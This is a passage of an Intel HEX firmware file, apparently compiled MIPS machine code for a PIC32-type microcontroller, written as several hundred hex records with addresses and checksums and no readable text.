:10a4f40000a0023c801c4324040062900100042458
:10a50400c439827c040062a05da9400b00000000f5
:10a5140000a0023c801c4324040062900100042437
:10a52400c439827c040062a0d0818293ff0042304f
:10a5340021204000ce818293ff0043300482822791
:10a5440021108200000043a05da9400b0000000020
:10a55400020004242128000021300000dd64400fa3
:10a56400000000005da9400b000000000000000096
:10a5740021e8c0031400bf8f1000be8f1800bd2750
:10a584000800e00300000000d8ffbd272400bfaf8f
:10a594002000beaf21f0a003ce818293ff004330a0
:10a5a400010002241700621400000000cc81829391
:10a5b400ff0042301f004230ff00423011004014bf
:10a5c4000000000000a0023c801c432404006290b0
:10a5d40001000424c439827c040062a0cd818293ea
:10a5e400ff00433003000224050062140000000051
:10a5f40001000224008282af82a9400b0000000007
:10a60400008280afce818293ff0042307e014014ed
:10a6140000000000cc818293ff0042301f004230d2
:10a62400ff0043300200022477016214000000009e
:10a63400d0818293ff0042300f004230ff0042304d
:10a644007101401000000000d081828f0018427c0c
:10a65400ff004230040042286b014010000000005b
:10a66400f881838f20000224670162140000000037
:10a6740000a0023c801c43240400629001000424d6
:10a68400c439827c040062a0d0818293ff004330ed
:10a6940080ff022424106200ff00423016004014a0
:10a6a40000000000d081828f0018427cff004230fd
:10a6b4002118400000a0023c80180300001a422424
:10a6c400211062000000428c1400c2afd081828f3e
:10a6d4000018427cff00423021184000d8818227b4
:10a6e4002110620000004290ff0042301800c2a313
:10a6f400d2a9400b00000000d081828f0018427c58
:10a70400ff0042302118400000a0023c80180300e2
:10a71400101a4224211062000000428c1400c2afbf
:10a72400d081828f0018427cff0042302118400003
:10a73400088282272110620000004290ff0042300c
:10a744001800c2a31800c29301004230ff00423037
:10a754000a004014000000001400c2271400c3279c
:10a7640000006490f7ff032424188300ff00633083
:10a77400000043a0e6a9400b000000001400c2271b
:10a784001400c3270000639008006334ff006330a3
:10a79400000043a0d0818293ff00433080ff022455
:10a7a40024106200ff0042300d004014000000003d
:10a7b400d081828f0018427cff004230212040006b
:10a7c4001400c38f00a0023c80200400001a42241d
:10a7d40021108200000043ac03aa400b00000000db
:10a7e400d081828f0018427cff004230212040003b
:10a7f4001400c38f00a0023c80200400101a4224dd
:10a8040021108200000043accd818293ff004330cd
:10a81400030002243b006214000000001400c28ff5
:10a824000000439080ff022424106200ff004230a5
:10a834001e00401000000000d0818293ff004330ce
:10a8440080ff022424106200ff0042300d004014f7
:10a8540000000000d081828f0018427cff0042304b
:10a8640021184000d88182272118620000006290dc
:10a87400010004244408827c000062a02caa400b3e
:10a8840000000000d081828f0018427cff0042301b
:10a89400211840000882822721186200000062907b
:10a8a400010004244408827c000062a01400c28fca
:10a8b4001400c38f0000649001006390001a030029
:10a8c40025186400ffff633084006334ffff6330a6
:10a8d400ff006430000045900000a5302520a4004e
:10a8e400000044a0021a0300ffff633001004490fb
:10a8f4000000843025188300010043a003ab400b03
:10a90400000000001400c2271400c3270000639055
:10a9140008006338ff006330000043a01400c28fb6
:10a924000000439080ff022424106200ff004230a4
:10a9340032004010000000001400c28f1400c38fc6
:10a944000000649001006390001a0300251864005d
:10a95400ffff64307fff032424188300ffff63306c
:10a96400ff006430000045900000a5302520a400bd
:10a97400000044a0021a0300ffff6330010044906a
:10a984000000843025188300010043a01400c28f06
:10a994001400c38f0000649001006390001a030048
:10a9a40025186400ffff633040006334ffff633009
:10a9b400ff006430000045900000a5302520a4006d
:10a9c400000044a0021a0300ffff6330010044901a
:10a9d4000000843025188300010043a01400c28fb6
:10a9e400050004242128400004000624dd64400fef
:10a9f4000000000094aa400b000000001400c28f65
:10aa04001400c38f0000649001006390001a0300d7
:10aa140025186400ffff633040006334ffff633098
:10aa2400ff006430000045900000a5302520a400fc
:10aa3400000044a0021a0300ffff633001004490a9
:10aa44000000843025188300010043a01400c227ad
:10aa54001400c3270000639008006338ff006330cc
:10aa6400000043a01800c29302004230ff004230ad
:10aa740008004014000000001400c28f000043903e
:10aa840080ff022424106200ff004230390040108d
:10aa940000000000d0818293ff00433080ff022435
:10aaa40024106200ff0042300c004014000000003b
:10aab400d081828f0018427cff0042302118400070
:10aac400d881822721186200000062904408027c29
:10aad400000062a0c1aa400b00000000d081828f58
:10aae4000018427cff00423021184000088282276f
:10aaf40021186200000062904408027c000062a0f9
:10ab04001400c28f1400c38f00006490010063908e
:10ab1400001a030025186400ffff64303bff032480
:10ab240024188300ffff6330ff0064300000459069
:10ab34000000a5302520a400000044a0021a030050
:10ab4400ffff633001004490000084302518830027
:10ab5400010043a01400c28f0500042421284000f2
:10ab640004000624dd64400f00000000f3aa400b3b
:10ab7400000000001400c28f1400c38f0000649012
:10ab840001006390001a030025186400ffff64307d
:10ab94003bff032424188300ffff6330ff0064306d
:10aba400000045900000a5302520a400000044a02a
:10abb400021a0300ffff6330010044900000843058
:10abc40025188300010043a088bf023c005342249f
:10abd4001000c2afd081828f0018427cff00423047
:10abe400001102001000c38f211062001000c2afd8
:10abf4001000c28f0000438cfdff02242418620061
:10ac04001000c28f000043ac21e8c0032400bf8fb2
:10ac14002000be8f2800bd270800e00300000000cc
:10ac240038ffbd27c400bfafc000b1afbc00b0af98
:10ac340021888000040002241000a2af00a0103c70
:10ac4400dc5610269c00028e1400a2afec00028e8b
:10ac54001800a2aff000028e1c00a2afe400028e26
:10ac64002000a2afe800028e2400a2afe000028e12
:10ac74002800a2aff400028e2c00a2af059d043c74
:10ac840074c384240500052401000624313b410fcc
:10ac940001000724cc0000ae9c00048ea400058ea5
:10aca400b000078e00a0033c995763241000a3afa3
:10acb400bc0003921400a3af8c00038e1800a3af52
:10acc400010003241c00a3af2000a0af422805000c
:10acd4003000a627a9ff400f80380700b000038e7c
:10ace400801803001b004314010003243000a42730
:10acf4002128800003b3400f84000624150040106f
:10ad0400010003243000a4931500831421100000d3
:10ad1400212020023100a52763b9400f200006241a
:10ad240001000324cc0003aef800038e9c00028ec5
:10ad340002186270eb51023c1f8542341900620014
:10ad440010200000400e410f4221040059ab400b7b
:10ad54000100022400a0023ca85743ac21100000cb
:10ad6400c400bf8fc000b18fbc00b08f0800e003e7
:10ad7400c800bd27e8ffbd271400bfaf7f49410fbe
:10ad840000000000010002241400bf8f0800e0034b
:10ad94001800bd2790ffbd276c00bfaf6800b0af9f
:10ada400218080003030023c303042241800a2afb1
:10adb400300002241c00a2a746b9400f1d00a4279e
:10adc4001400401021180000210002241000a2af3a
:10add4001400a0af4000a4271800a52721300000cc
:10ade40016ac400f213800000a0040102118000062
:10adf4004000a49301000224070082142110600083
:10ae0400212000024100a52763b9400f2000062439
:10ae140001000324211060006c00bf8f6800b08f14
:10ae24000800e0037000bd27b0ffbd274c00bfaf92
:10ae34004800b1af4400b0afff00b0304000022e74
:10ae440025004010211800002188800009ab400f24
:10ae54001800a42720004010211800001800a4277f
:10ae640066ab400f212880003030023c313142244f
:10ae74001800a2af1c00a0a31c00a42721280002d4
:10ae8400e2b6400f080006242400a0a321000224f7
:10ae94001000a2af1400a0af1800a427212880003e
:10aea4002130000016ac400f213800000a00401089
:10aeb400211800001800a493010002240700821442
:10aec40021106000212020021900a52763b9400f3a
:10aed4002000062401000324211060004c00bf8fd1
:10aee4004800b18f4400b08f0800e0035000bd2734
:10aef40098ffbd276400bfaf6000b1af5c00b0af86
:10af0400ff0090304000022e4c0040102118000039
:10af14002188a00009ab400f3000a427470040104f
:10af2400211800003000a42766ab400f21288000c0
:10af34003000a42746b9400f212820022000042411
:10af44003e004414211800003030023c31304224c9
:10af54001800a2af1c00a42721280002e2b6400f6b
:10af6400080006242400a0a31000a0af01000224be
:10af74001400a2af5400a4271800a5272130000014
:10af840016ac400f213800002c004010211800009e
:10af940000a0023cdc5642249c00438cf800428c06
:10afa40002186270eb51023c1f85423419006200a2
:10afb40010200000400e410f422104001000a0aff9
:10afc400010002241400a2af5400a4273000a527d6
:10afd4002130000016ac400f21380000170040104b
:10afe4002118000000a0023cdc564224f800438ce7
:10aff400d60263249c00428c02186270eb51023c1e
:10b004001f8542341900620010200000400e410fd9
:10b01400422104003000a4278bab400f21280002fa
:10b0240006004010211800003000a4272128200227
:10b03400d352410f080006240100432c2110600064
:10b044006400bf8f6000b18f5c00b08f0800e00324
:10b054006800bd2778ffbd278400bfaf8000b5af6f
:10b064007c00b4af7800b3af7400b2af7000b1af7e
:10b074006c00b0af219880002190c00021a0e000b6
:10b084009800b193ffff02243000a2a377ba400fc7
:10b094003400a427ff005530ff0050303000a427af
:10b0a4003400a5279bac400f213000023400a227b6
:10b0b400212050003000a5934cb6400f0800062410
:10b0c40000a0023cdc564224e000438c0800a52684
:10b0d400040004241000a4af9c00448c1400a4af0a
:10b0e4001800a3aff000448c1c00a4afe400448c0f
:10b0f4002000a4afe800448c2400a4af2800a3af30
:10b10400f400428c2c00a2af3400a427ff00a53029
:10b1140021304002313b410f010007244800401018
:10b12400211800009c00a28f1d0040100100022481
:10b13400448282a300a0023cdc5642249c00448c3e
:10b14400a400458c00a0033c995763241000a3afce
:10b15400bc0043901400a3af8c00428c1800a2af33
:10b16400010002241c00a2af2000a0af3400a627d7
:10b17400a9ff400f030007240300042430004414f3
:10b18400211800003400a427059d053cd85fa524a0
:10b19400d352410f03000624290040142118000053
:10b1a400270020120100032401000224448282a308
:10b1b40000a0023cdc5642249c00448ca400458c34
:10b1c40021802002030080122110000000a0023c14
:10b1d4009857429000a0033c995763241000a3aff2
:10b1e4001400a2af00a0023c6857428c1800a2af22
:10b1f400010002241c00a2af2000a0af2130600295
:10b20400a9ff400f213820020d000216211800006a
:10b2140000a0023cdc564224f800448c9c00428c82
:10b2240002208270eb51023c1f85423419008200d7
:10b2340010200000400e410f4221040001000324ad
:10b24400211060008400bf8f8000b58f7c00b48f14
:10b254007800b38f7400b28f7000b18f6c00b08f20
:10b264000800e0038800bd27d8ffbd272400bfaf36
:10b274002000b4af1c00b3af1800b2af1400b1afdc
:10b28400ff00d130210020121000b0af21908000c7
:10b294002198a000218000002310300208004228d9
:10b2a4000f0040102120700223a03002ff009432ce
:10b2b4002db6400f21288002ff00423023281102be
:10b2c4000800a5240428a20021204002ff00a53084
:10b2d400ccac400f21308002c0ac400b08001026db
:10b2e4002db6400f0800052421204002ff00453000
:10b2f400ccac400f0800062408001026ff001032d2
:10b304002b101102e5ff4014231030022400bf8fdc
:10b314002000b48f1c00b38f1800b28f1400b18fbb
:10b324001000b08f0800e0032800bd27ff00c630de
:10b33400000082902628a200000085a0d9ac400b12
:10b34400ff000524201c027c04006104401002005c
:10b354001d004238d9ac400b000082a0000082a03e
:10b36400ffffc624ff00c630f6ffc55400008290dc
:10b374000800e0030000000070ffbd278c00bfaf91
:10b384008800b7af8400b6af8000b5af7c00b4af1f
:10b394007800b3af7400b2af7000b1af6c00b0af5f
:10b3a400d600c0102190c00021a0800021a8a000d8
:10b3b4002198000021800000059d023c30c44224f5
:10b3c4006000a2af039d163c3cb4d626059d173cf5
:10b3d400802810002110a5021000a2af0a00022448
:10b3e4001400a2af500002241800a2af2310500290
:10b3f4001c00a2af2000a427212885020a000624ed
:10b404003519410f00010724bd0040102188400078
:10b41400a34a410f2000a427fcff42242a00432c06
:10b42400ad006010801002002110c2020000428ca6
:10b434000800400000000000e4b4029d2cb5029d09
:10b44400dcb6029ddcb6029ddcb6029ddcb6029d34
:10b45400dcb6029ddcb6029ddcb6029ddcb6029d24
:10b46400dcb6029ddcb6029ddcb6029ddcb6029d14
:10b47400dcb6029ddcb6029d74b5029ddcb6029d6d
:10b48400dcb6029ddcb6029ddcb6029ddcb6029df4
:10b49400dcb6029ddcb6029ddcb6029ddcb6029de4
:10b4a400dcb6029ddcb6029ddcb6029ddcb6029dd4
:10b4b400dcb6029ddcb6029ddcb6029ddcb6029dc4
:10b4c400dcb6029ddcb6029d20b6029ddcb6029d70
:10b4d400dcb6029ddcb6029ddcb6029d68b6029d18
:10b4e4002000a427059d053c7cc3a524d352410f0d
:10b4f4000400062407004014059d043c059d043cfb
:10b5040084c384242013410f2000a527bbad400b26
:10b514002180110290c384242013410f2000a52709
:10b52400bbad400b218011022000a427059d053ce2
:10b5340074c3a524d352410f050006240700401408
:10b54400059d043c059d043ca0c384242013410fa5
:10b554002000a527bbad400b2180110290c3842499
:10b564002013410f2000a527bbad400b2180110201
:10b574002000a427059d053cb0c3a524d352410f48
:10b5840004000624070040142000a427059d043c61
:10b59400b8c384242013410f2000a5277bad400ba2
:10b5a4003400a0a3059d053cd4c3a524d352410f68
:10b5b4000400062407004014059d043c059d043c3a
:10b5c400dcc384242013410f2000a5277bad400b4e
:10b5d4003400a0a390c384242013410f2000a52786
:10b5e400bbad400b218011025000a427c9b9400f04
:10b5f4002400a527059d043cf8c384242013410f8f
:10b604005000a527059d043c00c484242013410f49
:10b614005200a527bbad400b21801102059d043cbf
:10b6240004c484242013410f2000a5274800a0a3ac
:10b634005000a427c9b9400f2000a527059d043c4c
:10b6440010c484242013410f5000a527059d043cf9
:10b6540000c484242013410f5800a527bbad400b20
:10b66400218011022000a42718c4e526d352410fdb
:10b674000500062413004014059d043c059d043c6c
:10b6840020c484242013410f2000a5274d00a0a32b
:10b694005000a427c9b9400f2500a527059d043ce7
:10b6a40010c484242013410f5000a527059d043c99
:10b6b40000c484242013410f5800a527bbad400bc0
:10b6c4002180110290c384242013410f2000a52758
:10b6d400bbad400b218011026000a48f2013410fe9
:10b6e4002000a527218011022b1012020400401013
:10b6f40001001324f6ac400b8028100021980000b0
:10b70400059d043c00c48424059d053c2013410f81
:10b7140040c4a524211060028c00bf8f8800b78f1d
:10b724008400b68f8000b58f7c00b48f7800b38f0f
:10b734007400b28f7000b18f6c00b08f0800e0030a
:10b744009000bd2798ffbd276400bfaf6000b1af74
:10b754005c00b0af218880000c8180af040002241b
:10b764001000a2af00a0023cdc5642249c00438c93
:10b774001400a3afec00438c1800a3aff000438c7b
:10b784001c00a3afe400438c2000a3afe800438c6b
:10b794002400a3afe000438c2800a3aff400428c44
:10b7a4002c00a2af059d043c44c484240500052458
:10b7b40001000624313b410f0100072423004010ff
:10b7c4002118000001000224448282a300a0103c3e
:10b7d400dc5610269c00048ea400058eb000078e53
:10b7e40000a0023c995742241000a2afbc00029270
:10b7f4001400a2af8c00028e1800a2af0100022434
:10b804001c00a2af2000a0afa9ff400f3000a62764
:10b81400b000048e0d004414211800003000a42749
:10b82400059d053ca45fa524d352410f05000624c1
:10b834000600401421180000212020023500a5270d
:10b8440063b9400f20000624010003242110600086
:10b854006400bf8f6000b18f5c00b08f0800e0030c
:10b864006800bd27e8ffbd271400bfaf7f49410f23
:10b8740000000000010002241400bf8f0800e00350
:10b884001800bd2798ffbd276400bfaf6000b1afab
:10b894005c00b0af218880002180a000d2ad400fb1
:10b8a4003000a42746004010211800000000028246
:10b8b400030040143000a427059d103c4cc41026fe
:10b8c40046b9400f212800023d0040102118000015
:10b8d400a34a410f3000a427030003241000a3afa0
:10b8e40000a0033cdc5663249c00648c1400a4afc9
:10b8f4001800a0aff800648c1c00a4afe400648cb2
:10b904002000a4afe800648c2400a4afe000648ca1
:10b914002800a4aff400638c2c00a3af3000a4274c
:10b924002128400021300000313b410f0100072451
:10b93400230040102118000001000224448282a345
:10b9440000a0023cdc5642249c00448ca400458c9c
:10b9540000a0033c995763241000a3afbc0043909c
:10b964001400a3af8c00428c1800a2af0100022483
:10b974001c00a2af2000a0af3000a627a9ff400ff3
:10b9840025000724250004240d0044142118000078
:10b994003000a427059d053ca45fa524d352410f84
:10b9a400050006240600401421180000212020026e
:10b9b4003500a52763b9400f2000062401000324a5
:10b9c400211060006400bf8f6000b18f5c00b08ff5
:10b9d4000800e0036800bd2720ffbd27dc00bfafdf
:10b9e400d800beafd400b7afd000b6afcc00b5af6f
:10b9f400c800b4afc400b3afc000b2afbc00b1afb5
:10ba0400b800b0af219880000000a2800300401469
:10ba14002180a000059d103c58c41026d2ad400fd3
:10ba24003000a4274702401021180000c4b7400f7b
:10ba34003000a4272188400021b8400f21200002b3
:10ba4400219040001e53410f218060001e53410f7e
:10ba540000a402003000a42721288202f9b6400f76
:10ba6400200006247400a427c9b9400f3000a5277c
:10ba7400c4b7400f7400a427001e1000023a12003d
:10ba84002538670002721000001c1000027c1200ae
:10ba940025786f00026c100000221000021e1200b4
:10baa4002518830002661000025a11000254110086
:10bab400022e110002220200024c02000246020081
:10bac4004231120042a110008c00b4af0200c63013
:10bad400c001557e21a8d500c2c81200c2b0100012
:10bae4009000b6af0400393321c8b90242c0120035
:10baf40042f810009400bfaf0800183321c0380387
:10bb04002ba8a602403012001000c63021300603d4
:10bb14002bc0d80021a8150342c71200c0c81200c8
:10bb24002000393321c8d9002b30260321a8d500a1
:10bb3400c236120040f912004000ff3321f83f03df
:10bb44002bc8f90321a8350342a612008000b4af24
:10bb5400c0c91200ff00393321c8f9032bf83f0391
:10bb640021a8f50342fb120042b310009800b6afbf
:10bb74000200ff33c003547e21a0f403c2ba1200b2
:10bb8400c2b210009c00b6af0400f73221b897028d
:10bb940042b2120042f21000a000beaf0800d6323a
:10bba40021b0f6022bf89f0240a007001000943247
:10bbb40021a0d4022bb0960221b0df02c0b8070046
:10bbc4002000f73221b897022ba0f40221a096029c
:10bbd40040b107004000d63221b0f6022bb8d7029c
:10bbe40021b8f402c0390700ff00e7302138c7024a
:10bbf4002bb0f60021b8d70202fe070000ba1700e6
:10bc040025b8f703003a0700213827032bc8f900a9
:10bc140021a8b70221a835038400b5af42cd120094
:10bc240042fd1000a400bfaf02003933c0055f7e9f
:10bc340021f83f03c2ac1200c2a41000a800b4afa4
:10bc44000400b53221a8f50342a4120042b4100046
:10bc5400ac00b6af0800943221a0b4022bc8f9039b
:10bc640040b00f001000d63221b096022ba0d402af
:10bc740021a09902c0b80f002000f73221b8d702e2
:10bc84002bb0f60221a0d40240b10f004000d632fe
:10bc940021b0f6022bb8d70221b8f402c0790f0004
:10bca400ff00ef312178cf022ba8f60121a8b702bb
:10bcb400c0c810008800b9af42ff1000b000bfaf89
:10bcc4000200183340a01000c2b71000b400b6af91
:10bcd400c2971200219012032bc0580240b11000e9
:10bce400c2fe10000400c630213046022bb8d20038
:10bcf40021b8f802c091100042ce10008000be8f1f
:10bd04000800d83321c0d8002b30060321b8d7004f
:10bd1400403003001000c630213006032bc0d80089
:10bd240021b81703c0c003002000183321c0d80075
:10bd34002b30060321b8d700403103004000c63041
:10bd4400213006032bc0d80021c01703c0190300fb
:10bd5400ff0063302118c3002b30660021c0d800d7
:10bd640002be030000c2180025c0f802001a030036
:10bd74002118e3012b786f0021c0b8022178f80163
:10bd840002340300007c0f002578cf00001c030060
:10bd94002130e3002b38c7008400a38f21786f0083
:10bda4002178ef008c00b88f02000733c001037eb6
:10bdb4002138e3009000b88f040003332138e300f6
:10bdc4009400b88f080003332118e3001000943264
:10bdd400211874008800a78f2000f4302118740003
:10bde4004000d63221187600ff005232211872002a
:10bdf4009800b28f02005832c003077e213807032f
:10be04009c00b48f040098322138f800a000b68f4b
:10be14000800d8322138f80040900e001000523249
:10be24002138f200c0900e00200052322138f20076
:10be340040910e00400052322138f200c0710e00d1
:10be4400ff00ce312138ee00003a070021186700c8
:10be5400a400b88f02000733c005107e2138f0001b
:10be6400a800b28f04004e322138ee00ac00b48f2b
:10be740008008e322138ee0040700d001000ce31e3
:10be84002138ee00c0700d002000ce312138ee00c4
:10be940040710d004000ce312138ee00c0690d0024
:10bea400ff00ad312138ed00b000b68f0200cd3275
:10beb4000400ff332168bf01b400b88f2168b801c2
:10bec400080039332168b90140700c001000ce31ec
:10bed4002168ae01c0700c002000ce312168ae0193
:10bee40040710c004000ce312168ae01c0610c00ed
:10bef400ff008c312160ac0100620c002138ec00a1
:10bf0400003c070021386700421911000200633029
:10bf1400c0012c7e21186c00c260110004008c3119
:10bf240021186c004260110008008c3121186c004b
:10bf34004060110010008c3121186c00c0601100a9
:10bf440020008c3121186c004061110040008c31bc
:10bf540021186c00c0611100ff008c3121186c00a5
:10bf64004263110002008c31c0032d7e21608d01db
:10bf7400c26a11000400ad3121608d01426a1100d2
:10bf84000800ad3121608d0140680b001000ad3117
:10bf940021608d01c0680b002000ad3121608d014e
:10bfa40040690b004000ad3121608d01c0590b0088
:10bfb400ff006b3121588b01005a0b0021186b00d4
:10bfc400425d110002006b31c0052c7e21586c01ca
:10bfd400c264110004008c3121586c0142641100c8
:10bfe40008008c3121586c0140600a0010008c312b
:10bff40021586c01c0600a0020008c3121586c016a
:10c0040040610a0040008c3121586c01c0510a0083
:10c01400ff004a3121506a014267110002008c314d
:10c02400c25e110004006b3121588b01c2671100fc
:10c0340021586c01428e11000800313221587101df
:10c044004060050010008c3121586c01c06005006f
:10c0540020008c3121586c014061050040008c3176
:10c0640021586c01c0290500ff00a5302158650145
:10c07400005a0b0021284b01002c050021186500f3
:10c084001000a3af422902000200a530c001437c86
:10c094002128a300c2180200040063302128a30051
:10c0a40042180200080063302128a300401802004f
:10c0b400100063302128a300c01802002000633060
:10c0c4002128a30040190200400063302128a30066
:10c0d400c0190200ff0063302128a300421b0200a4
:10c0e40002006330c0034a7c21186a00c252020075
:10c0f40004004a3121186a004252020008004a3101
:10c1040021186a004050040010004a3121186a00c6
:10c11400c050040020004a3121186a004051040034
:10c1240040004a3121186a00c0210400ff00843015
:10c1340021186400001a03002120a300421d0200fc
:10c1440002006330c005457c21186500c22c020042
:10c154000400a53021186500422c02000800a53017
:10c1640021186500402809001000a5302118650039
:10c17400c02809002000a5302118650040290900c5
:10c184004000a53021186500c0490900ff0029318d
:10c1940021186900424f020002002931c22e020018
:10c1a4000400a53021282501c24f02002128a9003e
:10c1b40042160200080042302110a2004028080064
:10c1c4001000a53021104500c02808002000a5302b
:10c1d40021104500402908004000a53021104500e9
:10c1e400c0410800ff000831214048000042080017
:10c1f40021186800001c0300211083001400a2af62
:10c2040000a0043ce0698424d601410f2138e701f1
:10c21400ffff0424f6b2400f200005245000a42799
:10c2240021284000f9b6400f2000062400a0043c59
:10c23400d2ad400f5c458424420040102118000018
:10c24400a34a410f3000a427030003241000a3af26
:10c2540000a0033cdc5663249c00648c1400a4af4f
:10c264001800a0aff800648c1c00a4afe400648c38
:10c274002000a4afe800648c2400a4afe000648c28
:10c284002800a4aff400638c2c00a3af3000a427d3
:10c294002128400021300000313b410f01000724d8
:10c2a400280040102118000001000224448282a3c7
:10c2b40000a0023cdc5642249c00448ca400458c23
:10c2c40000a0033c995763241000a3afbc00439023
:10c2d4001400a3af8c00428c1800a2af010002240a
:10c2e4001c00a2af2000a0af3000a627a9ff400f7a
:10c2f40025000724250004241200441421180000fa
:10c304003000a427059d053ca45fa524d352410f0a
:10c31400050006240b00401421180000010002242b
:10c324000c8182af212060023500a52763b9400f3c
:10c33400200006242120600288b2400f21286002d8
:10c344002118400021106000dc00bf8fd800be8f90
:10c35400d400b78fd000b68fcc00b58fc800b48f8f
:10c36400c400b38fc000b28fbc00b18fb800b08fcf
:10c374000800e003e000bd27ff00a5300800a22c60
:10c384005a00401021180000a0ffbd275c00bfaf79
:10c394005800b0af21808000313102243000a2a7c0
:10c3a4003200a427e2b6400f030006243500a42778
:10c3b400e8ba400f3000a5273a00a0a30c81828f71
:10c3c400030040103000a427bbb2400f2128800096
:10c3d400a34a410f3000a427030003241000a3af95
:10c3e40000a0033cdc5663249c00648c1400a4afbe
:10c3f4001800a0aff800648c1c00a4afe400648ca7
:10c404002000a4afe800648c2400a4afe000648c96
:10c414002800a4aff400638c2c00a3af3000a42741
:10c424002128400021300000313b410f0100072446
:10c43400290040102118000001000224448282a334
:10c4440000a0023cdc5642249c00448ca400458c91
:10c4540000a0033c995763241000a3afbc00439091
:10c464001400a3af8c00428c1800a2af0100022478
:10c474001c00a2af2000a0af3000a627a9ff400fe8
:10c484002500072425000424130044142118000067
:10c494003000a427059d053ca45fa524d352410f79
:10c4a400050006240c00401421180000212000027d
:10c4b4003500a52763b9400f200006240c81828f24
:10c4c40005004010010003242120000288b2400f1f
:10c4d4002128000221184000211060005c00bf8f59
:10c4e4005800b08f0800e0036000bd270800e00397
:10c4f4002110600038ffbd27c400bfafc000b1af3a
:10c50400bc00b0afff0090300800022e9d00401028
:10c51400211800002188a000313002243000a2a795
:10c524003200a42721280002e2b6400f03000624ab
:10c534003500a427e8ba400f3000a5273a00a0a38d
:10c544000c81828f060040103000a28f3c00a4278b
:10c55400bbb2400f3000a52761b1400b6400a42793
:10c564003c00a2af3400a28f4000a2af3800a297d3
:10c574004400a2a73a00a2934600a2a36400a42701
:10c5840046b9400f21282002200004247d004414d1
:10c5940021180000a34a410f3c00a42703000324f0
:10c5a4001000a3af00a0033cdc5663249c00648c01
:10c5b4001400a4af1800a0aff800648c1c00a4af52
:10c5c400e400648c2000a4afe800648c2400a4afd1
:10c5d400e000648c2800a4aff400638c2c00a3afab
:10c5e4003c00a4272128400021300000313b410faa
:10c5f40001000724630040102118000001000224f8
:10c60400448282a300a0023cdc5642249c00448c59
:10c61400a400458c00a0033c995763241000a3afe9
:10c62400bc0043901400a3af8c00428c1800a2af4e
:10c63400010002241c00a2af2000a0af8c00a6279a
:10c64400a9ff400f0f0007240f000324190043140f
:10c654000c81828f8c00a427059d053ca45fa52432
:10c66400d352410f0500062446004014211800004f
:10c674000c81828f050040109100a427212880009e
:10c68400dfb2400f0a0006249100a427212880006d
:10c69400aaba400f0a0006243000a4279100a52757
:10c6a400d352410f0a00062436004014211800001a
:10c6b4000c81828f030040106400a427bbb2400f9a
:10c6c40021288000a34a410f6400a4270300032407
:10c6d4001000a3af00a0033cdc5663249c00648cd0
:10c6e4001400a4af1800a0aff800648c1c00a4af21
:10c6f400e400648c2000a4afe800648c2400a4afa0
:10c70400e000648c2800a4aff400638c2c00a3af79
:10c714006400a4272128400021300000313b410f50
:10c7240001000724170040102118000000a0023c5b
:10c73400dc564224f800438c660263249c00428c3d
:10c7440002186270eb51023c1f85423419006200ea
:10c7540010200000400e410f422104003c00a42799
:10c76400dfb0400f2128000206004010211800000d
:10c774003c00a42721282002d352410f080006249c
:10c784000100432c21106000c400bf8fc000b18f92
:10c79400bc00b08f0800e003c800bd27b8ffbd2768
:10c7a4004400bfaf4000b7af3c00b6af3800b5aff0
:10c7b4003400b4af3000b3af2c00b2af2800b1af37
:10c7c4002400b0af4800a4af4c00a5af5000a6af02
:10c7d4005400a7af20031624059d023c68c44224dc
:10c7e4001400a2af059d023c70c4422477b2400bf2
:10c7f4001800a2af00a0023cdc5642249c0056acb8
:10c80400e00057ace40055ace80052ac1400a48f2f
:10c814008513410f2128e0021800a48f8513410fce
:10c824002128a002059d043c7cc484248513410f67
:10c8340021284002059d043c84c484248513410faf
:10c844002128c002050010241000a0af21a0000080
:10c85400219800004715410f0000000065004014b6
:10c864004400bf8fd2ad400f212020021800405059
:10c87400ffff102601007326ff00733221202002df
:10c8840022ae400f6000a58f07004054010094269b
:10c894002120200277ae400f6000a58f0c0040508d
:10c8a400ffff102601009426ff009432212020026d
:10c8b400dfb0400f2128000005004010ffff1026c4
:10c8c4001000a38f01006224ff0042301000a2afc9
:10c8d400ff001032dfff0016050002241700625625
:10c8e4000100522615008256010052261000a48f22
:10c8f4001200825401005226059d043c8cc48424f9
:10c904008513410f05000524059d043c98c4842427
:10c914008513410f05000524059d043ca4c484240b
:10c924008513410f05000524059d043cb0c48424ef
:10c934008513410f05000524010052265c00a38fd6
:10c944002b107200acff401000a0023c0100b52681
:10c954005400a48f2b1095000b0040540100f726bf
:10c964005800a38f5c00a48f2b108300f8ff405461
:10c974000100b5262190600000a0113cfeb1400bdf
:10c98400dc2431260100f7264c00a38f2b107700fe
:10c9940009004014059d043c5000a48f5400a38f4b
:10c9a4002b106400f7ff401421a880005ab2400bfa
:10c9b4005800a38f059d043c00c48424059d053cb8
:10c9c4002013410f40c4a5240100d6262a030224c3
:10c9d4000800c2124400bf8f4800a48f4c00a38fec
:10c9e4002b106400f3ff401421b8800068b2400ba0
:10c9f4005000a48f4000b78f3c00b68f3800b58f2d
:10ca04003400b48f3000b38f2c00b28f2800b18f64
:10ca14002400b08f0800e0034800bd27d0ffbd27e5
:10ca24002c00bfaf2800b4af2400b3af2000b2afd6
:10ca34001c00b1af1800b0af218080002188a00095
:10ca4400a34a410f2120a0001c0040102190400067
:10ca5400059d133cd0c47326059d143cd4c4942670
:10ca64002120200221286002b355410f1000a6277f
:10ca740001000324130043141000a493f6b2400fe2
:10ca8400080005241400a42721288002ac54410f77
:10ca9400213040001400a293000002a21500a293ca
:10caa400010002a202003126feff5226ecff4016ce
:10cab40002001026b3b2400b01000224b3b2400bb3
:10cac40001000224211000002c00bf8f2800b48f25
:10cad4002400b38f2000b28f1c00b18f1800b08fd8
:10cae4000800e0033000bd27d8ffbd272400bfaff6
:10caf4002000b4af1c00b3af1800b2af1400b1af44
:10cb04001000b0af219880002180a000a34a410ffb
:10cb14002120a0000f00401021a0400021884000e7
:10cb2400219060020100102601005226ffff0392ab
:10cb3400d0ff6424ff008430f6b2400f01000524c6
:10cb440030004224ffff3126f6ff2016ffff42a2e9
:10cb540021987402000060a22400bf8f2000b48fcb
:10cb64001c00b38f1800b28f1400b18f1000b08f67
:10cb74000800e0032800bd27e0ffbd271c00bfaf6d
:10cb84001800b2af1400b1af1000b0af218880001c
:10cb94002190a0000900c0102180c00001003126ae
:10cba40001005226ffff4492f6b2400f0100052413
:10cbb400ffff1026f9ff0016ffff22a21c00bf8f03
:10cbc4001800b28f1400b18f1000b08f0800e0037a
:10cbd4002000bd27e8ffbd271400bfaf1000b0af91
:10cbe4002180800000a0043ce06984242c03410fd0
:10cbf400ff00a530261050001400bf8f1000b08f26
:10cc04000800e0031800bd27c8ffbd273400bfafec
:10cc14003000b5af2c00b4af2800b3af2400b2afde
:10cc24002000b1af1c00b0af2198c000059d023cac
